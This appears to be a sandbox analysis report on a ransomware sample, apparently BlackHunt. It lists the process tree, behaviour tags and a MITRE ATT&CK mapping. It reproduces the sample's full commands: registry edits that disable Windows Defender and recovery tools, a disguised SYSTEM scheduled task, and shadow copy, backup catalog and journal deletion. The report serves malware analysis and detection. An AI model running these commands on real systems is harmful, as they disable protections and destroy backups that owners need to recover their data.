Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe
"C:\Users\Admin\AppData\Local\Temp\992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    PID:1224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:1912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:1036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:3308
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:1632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:4412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1492
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    - Modifies registry class
    PID:1912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:4596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    - Modifies registry class
    PID:1224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3336
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:4540
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:4812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4224
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:4916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2864
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2264
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3432
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4324
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe" /F
  2⤵
  PID:3640
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\992d69349ff7bfcce617e3b0467e4de7de1b4e6b60d0acb3e03d281caaf405c1.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:1352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2972
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:4568
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2996
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:224
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:768
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4448
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1904
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2964
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1036
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4184
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3988
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1464
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4708

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4124

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4212

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4260

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery